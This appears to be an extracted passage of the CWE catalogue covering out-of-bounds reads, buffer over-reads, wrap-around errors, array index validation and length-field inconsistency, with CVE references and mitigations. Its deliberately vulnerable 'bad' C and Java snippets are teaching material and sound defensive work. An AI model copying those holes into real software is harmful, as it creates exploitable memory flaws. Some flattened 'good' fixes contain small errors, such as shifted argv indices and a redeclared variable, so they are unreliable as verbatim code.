<b>CVE-2007-4580</b>	Buffer underflow from a small size value with a large buffer (length parameter inconsistency, CWE-130) <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4580">http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4580</a>

<b>CVE-2007-0886</b>	Buffer underflow resultant from encoded data that triggers an integer overflow. <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0886">http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0886</a>
<b>CVE-2006-6171</b>	Product sets an incorrect buffer size limit, leading to "off-by-two" buffer underflow. <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6171">http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6171</a>
<b>CVE-2006-4024</b>	Negative value is used in a <code>memcpy()</code> operation, leading to buffer underflow. <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4024">http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4024</a>
<b>CVE-2004-2620</b>	Buffer underflow due to mishandled special characters <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2620">http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2620</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	970	SFP Secondary Cluster: Faulty Buffer Access	888	1631

### Notes

#### Relationship

This could be resultant from several errors, including a bad offset or an array index that decrements before the beginning of the buffer (see CWE-129).

#### Research Gap

Much attention has been paid to buffer overflows, but "underflows" sometimes exist in products that are relatively free of overflows, so it is likely that this variant has been under-studied.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name

## CWE-125: Out-of-bounds Read

<b>Weakness ID</b> : 125	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

## Description

The software reads data past the end, or before the beginning, of the intended buffer.

## Extended Description

Typically, this can allow attackers to read sensitive information from other memory locations or cause a crash. A crash can occur when the code reads a variable amount of data and assumes that a sentinel exists to stop the read operation, such as a NUL in a string. The expected sentinel might not be located in the out-of-bounds memory, causing excessive data to be read, leading to a segmentation fault or a buffer overflow. The software may modify an index or perform pointer arithmetic that references a memory location that is outside of the boundaries of the buffer. A subsequent read operation then produces undefined or unexpected results.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

### Weakness Ordinalities

**Primary :**

### Applicable Platforms

**Language :** C (Prevalence = Undetermined)

**Language :** C++ (Prevalence = Undetermined)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory	

### Demonstrative Examples

#### Example 1:

In the following code, the method retrieves a value from an array at a specific array index location that is given as an input parameter to the method

*Example Language: C*

*(bad)*

```
int getValueFromArray(int *array, int len, int index) { int value; // check that the array index is less than the maximum //
length of the array if (index < len) { // get the value at the specified index of the array value = array[index]; } // if array index is
invalid then output error message // and return value indicating error else {printf("Value is: %d\n", array[index]);value = -1;}
return value; }
```

However, this method only verifies that the given array index is less than the maximum length of the array but does not check for the minimum value (CWE-839). This will allow a negative value to be accepted as the input array index, which will result in a out of bounds read (CWE-125) and may allow access to sensitive memory. The input array index should be checked to verify that is within the maximum and minimum range required for the array (CWE-129). In this example the if statement should be modified to include a minimum range check, as shown below.

*Example Language: C*

*(good)*

```
... // check that the array index is within the correct // range of values for the array if (index >= 0 && index < len) { ...
```

### Observed Examples

Reference	Description
<b>CVE-2009-2523</b>	Chain: product does not handle when an input string is not NULL terminated (CWE-170), leading to buffer over-read (CWE-125) or heap-based buffer overflow (CWE-122). <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2523">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2523</a>

## CWE-126: Buffer Over-read

<b>Weakness ID</b> : 126	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

### Description

The software reads from a buffer using buffer access mechanisms such as indexes or pointers that reference memory locations after the targeted buffer.

### Extended Description

This typically occurs when the pointer or its index is incremented to a position beyond the bounds of the buffer or when pointer arithmetic results in a position outside of the valid memory location to name a few. This may result in exposure of sensitive information or possibly a crash.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page

ChildOf	B	788	Access of Memory Location After End of Buffer	1372

## Weakness Ordinalities

**Primary :**

## Applicable Platforms

**Language :** C (Prevalence = Undetermined)

**Language :** C++ (Prevalence = Undetermined)

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory	

## Demonstrative Examples

### Example 1:

In the following C/C++ example the method processMessageFromSocket() will get a message from a socket, placed into a buffer, and will parse the contents of the buffer into a structure that contains the message length and the message body. A for loop is used to copy the message body into a local character string which will be passed to another method for processing.

*Example Language: C*

*(bad)*

```
int processMessageFromSocket(int socket) { int success; char buffer[BUFFER_SIZE];char message[MESSAGE_SIZE]; //
get message from socket and store into buffer //Ignoring possiblity that buffer > BUFFER_SIZE if (getMessage(socket,
buffer, BUFFER_SIZE) > 0) { // place contents of the buffer into message structure ExMessage *msg =
recastBuffer(buffer); // copy message body into string for processing int index;for (index = 0; index < msg-
>msgLength; index++) {message[index] = msg->msgBody[index];}message[index] = '\0'; // process message success =
processMessage(message); }return success; }
```

However, the message length variable from the structure is used as the condition for ending the for loop without validating that the message length variable accurately reflects the length of message body. This can result in a buffer over read by reading from memory beyond the bounds of the buffer if the message length variable indicates a length that is longer than the size of a message body (CWE-130).

### Example 2:

The following C/C++ example demonstrates a buffer over-read due to a missing NULL terminator. The main method of a pattern matching utility that looks for a specific pattern within a specific file uses the string strncpy() method to copy the command line user input file name and pattern to the Filename and Pattern character arrays respectively.

Example Language: C

(bad)

```
int main(int argc, char **argv){ char Filename[256];char Pattern[32]; /* Validate number of parameters and ensure
valid content */ ... /* copy filename parameter to variable, may cause off-by-one overflow */ strncpy(Filename, argv[1],
sizeof(Filename)); /* copy pattern parameter to variable, may cause off-by-one overflow */ strncpy(Pattern, argv[2],
sizeof(Pattern)); printf("Searching file: %s for the pattern: %s\n", Filename, Pattern);Scan_File(Filename, Pattern);}
```

However, the code do not take into account that strncpy() will not add a NULL terminator when the source buffer is equal in length of longer than that provide size attribute. Therefore if a user enters a filename or pattern that are the same size as (or larger than) their respective character arrays, a NULL terminator will not be added (CWE-170) which leads to the printf() read beyond the expected end of the Filename and Pattern buffers.

To fix this problem, be sure to subtract 1 from the sizeof() call to allow room for the null byte to be added.

Example Language: C

(good)

```
/* copy filename parameter to variable, no off-by-one overflow */ strncpy(Filename, argv[2],
sizeof(Filename)-1);Filename[255]='\0'; /* copy pattern parameter to variable, no off-by-one overflow */ strncpy(Pattern,
argv[3], sizeof(Pattern)-1);Pattern[31]='\0';
```

## Observed Examples

Reference	Description
<b>CVE-2014-0160</b>	Chain: "Heartbleed" bug receives an inconsistent length parameter (CWE-130) enabling an out-of-bounds read (CWE-126), returning memory that could include private cryptographic keys and other sensitive data. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160</a>
<b>CVE-2009-2523</b>	Chain: product does not handle when an input string is not NULL terminated, leading to buffer over-read or heap-based buffer overflow. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2523">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2523</a>

## CWE-128: Wrap-around Error

<b>Weakness ID :</b> 128	<b>Status:</b> Incomplete
<b>Structure :</b> Simple	
<b>Abstraction :</b> Base	

### Description

Wrap around errors occur whenever a value is incremented past the maximum value for its type and therefore "wraps around" to a very small, negative, or undefined value.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		682	Incorrect Calculation	1242
PeerOf		190	Integer Overflow or Wraparound	425
CanPrecede		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	264

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf		682	Incorrect Calculation	1242

### Weakness Ordinalities

**Primary :**

### Applicable Platforms

**Language :** C (Prevalence = Often)

**Language :** C++ (Prevalence = Often)

### Background Details

Due to how addition is performed by computers, if a primitive is incremented past the maximum value possible for its storage space, the system will not recognize this, and therefore increment each bit as if it still had extra space. Because of how negative numbers are represented in binary, primitives interpreted as signed may "wrap" to very large negative values.

### Likelihood Of Exploit

Medium

### Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) DoS: Instability	

Scope	Impact	Likelihood
	<i>This weakness will generally lead to undefined behavior and therefore crashes. In the case of overflows involving loop index variables, the likelihood of infinite loops is also high.</i>	
Integrity	Modify Memory  <i>If the value in question is important to data (as opposed to flow), simple data corruption has occurred. Also, if the wrap around results in other conditions such as buffer overflows, further memory corruption may occur.</i>	
Confidentiality Availability Access Control	Execute Unauthorized Code or Commands Bypass Protection Mechanism  <i>This weakness can sometimes trigger buffer overflows which can be used to execute arbitrary code. This is usually outside the scope of a program's implicit security policy.</i>	

### Potential Mitigations

Requirements specification: The choice could be made to use a language that is not susceptible to these issues.

#### Phase: Architecture and Design

Provide clear upper and lower bounds on the scale of any protocols designed.

#### Phase: Implementation

Place sanity checks on all incremented variables to ensure that they remain within reasonable bounds.

### Demonstrative Examples

#### Example 1:

The following image processing code allocates a table for images.

*Example Language: C*

*(bad)*

```
img_t table_ptr; /*struct containing img data, 10kB each*/int num_imgs;...num_imgs = get_num_imgs();table_ptr = (img_t*)malloc(sizeof(img_t)*num_imgs);...
```

This code intends to allocate a table of size num\_imgs, however as num\_imgs grows large, the calculation determining the size of the list will eventually overflow (CWE-190). This will result in a very small list to be allocated instead. If the subsequent code operates on the list as if it were num\_imgs long, it may result in many types of out-of-bounds problems (CWE-119).

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	742	CERT C Secure Coding (2008 Version) Section 08 - Memory Management (MEM)	734	1574

## CWE-129: Improper Validation of Array Index

<b>Weakness ID</b> : 129	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The product uses untrusted input when calculating or using an array index, but the product does not validate or incorrectly validates the index to ensure the index references a valid position within the array.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

MemberOf		189	Numeric Errors	1537

Nature	Type	ID	Name	Page
ChildOf		20	Improper Input Validation	17

### Weakness Ordinalities

**Resultant :** The most common condition situation leading to an out-of-bounds array index is the use of loop index variables as buffer indexes. If the end condition for the loop is subject to a flaw, the index can grow or shrink unbounded, therefore causing a buffer overflow or underflow. Another common situation leading to this condition is the use of a function's return value, or the resulting value of a calculation directly as an index in to a buffer.

### Applicable Platforms

**Language :** C (Prevalence = Often)

**Language :** C++ (Prevalence = Often)

**Language :** Language-Independent (Prevalence = Undetermined)

### Alternate Terms

**out-of-bounds array index :**

**index-out-of-range :**

**array index underflow :**

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Integrity Availability	DoS: Crash, Exit, or Restart  <i>Use of an index that is outside the bounds of an array will very likely result in the corruption of relevant memory and perhaps instructions, leading to a crash, if the values are outside of the valid memory area.</i>	
Integrity	Modify Memory  <i>If the memory corrupted is data, rather than instructions, the system will continue to function with improper values.</i>	
Confidentiality Integrity	Modify Memory Read Memory  <i>Use of an index that is outside the bounds of an array can also trigger out-of-bounds read or write operations, or operations on the wrong objects; i.e., "buffer overflows" are not always the result. This may result in the exposure or modification of sensitive data.</i>	
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands  <i>If the memory accessible by the attacker can be effectively controlled, it may be possible to execute arbitrary code, as with a standard buffer overflow and possibly without the use of large inputs if a precise index can be controlled.</i>	
Integrity Availability Confidentiality	DoS: Crash, Exit, or Restart Execute Unauthorized Code or Commands Read Memory Modify Memory  <i>A single fault could allow either an overflow (CWE-788) or underflow (CWE-786) of the array index. What happens next will depend on the type of operation being performed</i>	

Scope	Impact	Likelihood
	<i>out of bounds, but can expose sensitive information, cause a system crash, or possibly lead to arbitrary code execution.</i>	

## Detection Methods

### Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives. Automated static analysis generally does not account for environmental considerations when reporting out-of-bounds memory operations. This can make it difficult for users to determine which warnings should be investigated first. For example, an analysis tool might report array index errors that originate from command line arguments in a program that is not expected to run with `setuid` or other special privileges.

*Effectiveness = High*

*This is not a perfect solution, since 100% accuracy and coverage are not feasible.*

### Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

### Black Box

Black box methods might not get the needed code coverage within limited time constraints, and a dynamic test might not produce any noticeable side effects even if it is successful.

## Potential Mitigations

### Phase: Architecture and Design

*Strategy = Input Validation*

Use an input validation framework such as Struts or the OWASP ESAPI Validation API. If you use Struts, be mindful of weaknesses covered by the CWE-101 category.

### Phase: Architecture and Design

*Strategy = Libraries or Frameworks*

Use an input validation framework such as Struts or the OWASP ESAPI Validation API. If you use Struts, be mindful of weaknesses covered by the CWE-101 category.

### Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server. Even though client-side checks provide minimal benefits with respect to server-side security, they are still useful. First, they can support intrusion detection. If the server receives input that should have been rejected by the client, then it may be an indication of an attack. Second, client-side error-checking can provide helpful feedback to the user about the expectations for valid input. Third, there may be a reduction in server-side processing time for accidental input errors, although this is typically a small savings.

### Phase: Requirements

*Strategy = Language Selection*

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, Ada allows the programmer to constrain the values of a variable and languages such as Java and Ruby will allow the programmer to handle exceptions when an out-of-bounds index is accessed.

**Phase: Operation**

*Strategy = Environment Hardening*

Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code. Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64].

*Effectiveness = Defense in Depth*

*This is not a complete solution. However, it forces the attacker to guess an unknown value that changes every program execution. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.*

**Phase: Operation**

*Strategy = Environment Hardening*

Use a CPU and operating system that offers Data Execution Protection (NX) or its equivalent [REF-60] [REF-61].

*Effectiveness = Defense in Depth*

*This is not a complete solution, since buffer overflows could be used to overwrite nearby variables to modify the software's state in dangerous ways. In addition, it cannot be used in cases in which self-modifying code is required. Finally, an attack could still cause a denial of service, since the typical response is to exit the application.*

**Phase: Implementation**

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When accessing a user-controlled array index, use a stringent range of values that are within the target array. Make sure that you do not allow negative values to be used. That is, verify the minimum as well as the maximum of the range of acceptable values.

**Phase: Implementation**

Be especially careful to validate all input when invoking code that crosses language boundaries, such as from an interpreted language to native code. This could create an unexpected interaction between the language boundaries. Ensure that you are not violating any of the expectations of the language with which you are interfacing. For example, even though Java may not be susceptible to buffer overflows, providing a large argument in a call to native code might trigger an overflow.

**Phase: Architecture and Design****Phase: Operation**

*Strategy = Environment Hardening*

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

**Phase: Architecture and Design****Phase: Operation**

*Strategy = Sandbox or Jail*

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

*Effectiveness = Limited*

*The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.*

**Demonstrative Examples****Example 1:**

In the code snippet below, an untrusted integer value is used to reference an object in an array.

*Example Language: Java*

*(bad)*

```
public String getValue(int index) {return array[index];}
```

If index is outside of the range of the array, this may result in an `ArrayIndexOutOfBoundsException` being raised.

**Example 2:**

The following example takes a user-supplied value to allocate an array of objects and then operates on the array.

*Example Language: Java*

*(bad)*

```
private void buildList ( int untrustedListSize ){if ( 0 > untrustedListSize ){die("Negative value supplied for list size, die evil hacker!");}Widget[] list = new Widget [ untrustedListSize ];list[0] = new Widget();}
```

This example attempts to build a list from a user-specified value, and even checks to ensure a non-negative value is supplied. If, however, a 0 value is provided, the code will build an array of size 0 and then try to store a new `Widget` in the first location, causing an exception to be thrown.

**Example 3:**

In the following code, the method retrieves a value from an array at a specific array index location that is given as an input parameter to the method

*Example Language: C**(bad)*

```
int getValueFromArray(int *array, int len, int index) { int value; // check that the array index is less than the maximum //
length of the array if (index < len) { // get the value at the specified index of the array value = array[index]; } // if array index is
invalid then output error message // and return value indicating error else {printf("Value is: %d\n", array[index]);value = -1;}
return value; }
```

However, this method only verifies that the given array index is less than the maximum length of the array but does not check for the minimum value (CWE-839). This will allow a negative value to be accepted as the input array index, which will result in a out of bounds read (CWE-125) and may allow access to sensitive memory. The input array index should be checked to verify that it is within the maximum and minimum range required for the array (CWE-129). In this example the if statement should be modified to include a minimum range check, as shown below.

*Example Language: C**(good)*

```
... // check that the array index is within the correct // range of values for the array if (index >= 0 && index < len) { ...
```

**Example 4:**

The following example retrieves the sizes of messages for a pop3 mail server. The message sizes are retrieved from a socket that returns in a buffer the message number and the message size, the message number (num) and size (size) are extracted from the buffer and the message size is placed into an array using the message number for the array index.

*Example Language: C**(bad)*

```
/* capture the sizes of all messages */ int getsizes(int sock, int count, int *sizes) { ...char buff[BUFFER_SIZE];int ok;int num;
size; // read values from socket and added to sizes array while ((ok = gen_rcv(sock, buf, sizeof(buf))) == 0){ // continue
read from socket until buf only contains '.' if (DOTLINE(buf))break; else if (sscanf(buf, "%d %d", &num, &size) ==
2)sizes[num - 1] = size; }... }
```

In this example the message number retrieved from the buffer could be a value that is outside the allowable range of indices for the array and could possibly be a negative number. Without proper validation of the value to be used for the array index an array overflow could occur and could potentially lead to unauthorized access to memory addresses and system crashes. The value of the array index should be validated to ensure that it is within the allowable range of indices for the array as in the following code.

*Example Language: C**(good)*

```
/* capture the sizes of all messages */ int getsizes(int sock, int count, int *sizes) { ...char buff[BUFFER_SIZE];int ok;int num;
size; // read values from socket and added to sizes array while ((ok = gen_rcv(sock, buf, sizeof(buf))) == 0){ // continue
read from socket until buf only contains '.' if (DOTLINE(buf))break; else if (sscanf(buf, "%d %d", &num, &size) == 2) { if
(num > 0 && num <= (unsigned)count)sizes[num - 1] = size; else /* warn about possible attempt to induce buffer overflow */
report(stderr, "Warning: ignoring bogus data for message sizes returned by server.\n"); } }... }
```

**Example 5:**

In the following example the method displayProductSummary is called from a Web service servlet to retrieve product summary information for display to the user. The servlet obtains the integer value of the product number from the user and passes it to the displayProductSummary method. The displayProductSummary method passes the integer value of the product number to the getProductSummary method which obtains the product summary from the array object containing the project summaries using the integer value of the product number as the array index.

*Example Language: Java**(bad)*

```
// Method called from servlet to obtain product information public String displayProductSummary(int index) { String
productSummary = new String(""); try {String productSummary = getProductSummary(index); } catch (Exception ex) {...}
return productSummary; } public String getProductSummary(int index) {return products[index];}
```

In this example the integer value used as the array index that is provided by the user may be outside the allowable range of indices for the array which may provide unexpected results or cause the application to fail. The integer value used for the array index should be validated to ensure that it is within the allowable range of indices for the array as in the following code.

Example Language: Java

(good)

```
// Method called from servlet to obtain product information
public String displayProductSummary(int index) {
    String productSummary = new String("");
    try {
        String productSummary = getProductSummary(index);
    } catch (Exception ex) {...}
    return productSummary;
}
public String getProductSummary(int index) {
    String productSummary = "";
    if ((index >= 0) && (index < MAX_PRODUCTS)) {
        productSummary = products[index];
    } else {
        System.err.println("index is out of bounds");
        throw new IndexOutOfBoundsException();
    }
    return productSummary;
}
```

An alternative in Java would be to use one of the collection objects such as ArrayList that will automatically generate an exception if an attempt is made to access an array index that is out of bounds.

Example Language: Java

(good)

```
ArrayList productArray = new ArrayList(MAX_PRODUCTS);
...try {
    productSummary = (String) productArray.get(index);
} catch (IndexOutOfBoundsException ex) {...}
```

### Example 6:

The following example asks a user for an offset into an array to select an item.

Example Language: C

(bad)

```
int main (int argc, char **argv) {
    char *items[] = {"boat", "car", "truck", "train"};
    int index = GetUntrustedOffset();
    printf("You selected %s\n", items[index-1]);
}
```

The programmer allows the user to specify which element in the list to select, however an attacker can provide an out-of-bounds offset, resulting in a buffer over-read (CWE-126).

### Observed Examples

Reference	Description
<b>CVE-2005-0369</b>	large ID in packet used as array index <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0369">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0369</a>
<b>CVE-2001-1009</b>	negative array index as argument to POP LIST command <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1009">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1009</a>
<b>CVE-2003-0721</b>	Integer signedness error leads to negative array index <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0721">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0721</a>
<b>CVE-2004-1189</b>	product does not properly track a count and a maximum number, which can lead to resultant array index overflow. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1189">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1189</a>
<b>CVE-2007-5756</b>	Chain: device driver for packet-capturing software allows access to an unintended IOCTL with resultant array index error. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5756">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5756</a>
<b>CVE-2005-2456</b>	Chain: array index error (CWE-129) leads to deadlock (CWE-833) <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2456">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2456</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	738	CERT C Secure Coding (2008 Version) Section 04 - Integers (INT)	734	1570
MemberOf	C	740	CERT C Secure Coding (2008 Version) Section 06 - Arrays (ARR)	734	1572
MemberOf	C	802	2010 Top 25 - Risky Resource Management	800	1582
MemberOf	C	867	2011 Top 25 - Weaknesses On the Cusp	900	1600
MemberOf	C	872	CERT C++ Secure Coding Section 04 - Integers (INT)	868	1602
MemberOf	C	874	CERT C++ Secure Coding Section 06 - Arrays and the STL (ARR)	868	1603
MemberOf	V	884	CWE Cross-section	884	1681
MemberOf	C	970	SFP Secondary Cluster: Faulty Buffer Access	888	1631

## Notes

### Relationship

This weakness can precede uncontrolled memory allocation (CWE-789) in languages that automatically expand an array when an index is used that is larger than the size of the array, such as JavaScript.

### Theoretical

An improperly validated array index might lead directly to the always-incorrect behavior of "access of array using out-of-bounds index."

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Unchecked array indexing
PLOVER			INDEX - Array index overflow
CERT C Secure Coding	ARR00-C		Understand how arrays work
CERT C Secure Coding	ARR30-C	CWE More Specific	Do not form or use out-of-bounds pointers or array subscripts
CERT C Secure Coding	ARR38-C		Do not add or subtract an integer to a pointer if the resulting value does not refer to a valid array element
CERT C Secure Coding	INT32-C		Ensure that operations on signed integers do not result in overflow
CERT Perl Secure Coding	IDS32-PL	Imprecise	Validate any integer that is used as an array index
Software Fault Patterns	SFP8		Faulty Buffer Access

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
100	Overflow Buffers

## CWE-130: Improper Handling of Length Parameter Inconsistency

**Weakness ID** : 130

**Status**: Incomplete

**Structure** : Simple

**Abstraction** : Base

### Description

The software parses a formatted message or structure, but it does not handle or incorrectly handles a length field that is inconsistent with the actual length of the associated data.

### Extended Description

If an attacker can manipulate the length parameter associated with an input such that it is inconsistent with the actual length of the input, this can be leveraged to cause the target application to behave in unexpected, and possibly, malicious ways. One of the possible motives for doing so is to pass in arbitrarily large input to the application. Another possible motivation is the modification of application state by including invalid data for subsequent properties of the application. Such weaknesses commonly lead to attacks such as buffer overflows and execution of arbitrary code.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

**length tampering** :

### Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context	

### Potential Mitigations

#### Phase: Implementation

When processing structured incoming data containing a size field followed by raw data, ensure that you identify and resolve any inconsistencies between the size field and the actual size of the data.

#### Phase: Implementation

Do not let the user control the size of the buffer.

#### Phase: Implementation

Validate that the length of the user-supplied data is consistent with the buffer size.

### Demonstrative Examples

#### Example 1:

In the following C/C++ example the method `processMessageFromSocket()` will get a message from a socket, placed into a buffer, and will parse the contents of the buffer into a structure that contains the message length and the message body. A for loop is used to copy the message body into a local character string which will be passed to another method for processing.

*Example Language: C*

*(bad)*

```
int processMessageFromSocket(int socket) { int success; char buffer[BUFFER_SIZE];char message[MESSAGE_SIZE]; //
get message from socket and store into buffer //Ignoring possiblity that buffer > BUFFER_SIZE if (getMessage(socket,
buffer, BUFFER_SIZE) > 0) { // place contents of the buffer into message structure ExMessage *msg =
recastBuffer(buffer); // copy message body into string for processing int index;for (index = 0; index < msg-
>msgLength; index++) {message[index] = msg->msgBody[index];}message[index] = '\0'; // process message success =
processMessage(message); }return success; }
```

However, the message length variable from the structure is used as the condition for ending the for loop without validating that the message length variable accurately reflects the length of message body. This can result in a buffer over read by reading from memory beyond the bounds of the buffer if the message length variable indicates a length that is longer than the size of a message body (CWE-130).

### Observed Examples

Reference	Description
<b>CVE-2014-0160</b>	Chain: "Heartbleed" bug receives an inconsistent length parameter (CWE-130) enabling an out-of-bounds read (CWE-126), returning memory that could include private cryptographic keys and other sensitive data. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160</a>
<b>CVE-2009-2299</b>	Web application firewall consumes excessive memory when an HTTP request contains a large Content-Length value but no POST data. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2299">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2299</a>

Reference	Description
<b>CVE-2001-0825</b>	Buffer overflow in internal string handling routine allows remote attackers to execute arbitrary commands via a length argument of zero or less, which disables the length check. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0825">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0825</a>
<b>CVE-2001-1186</b>	Web server allows remote attackers to cause a denial of service via an HTTP request with a content-length value that is larger than the size of the request, which prevents server from timing out the connection. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1186">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1186</a>
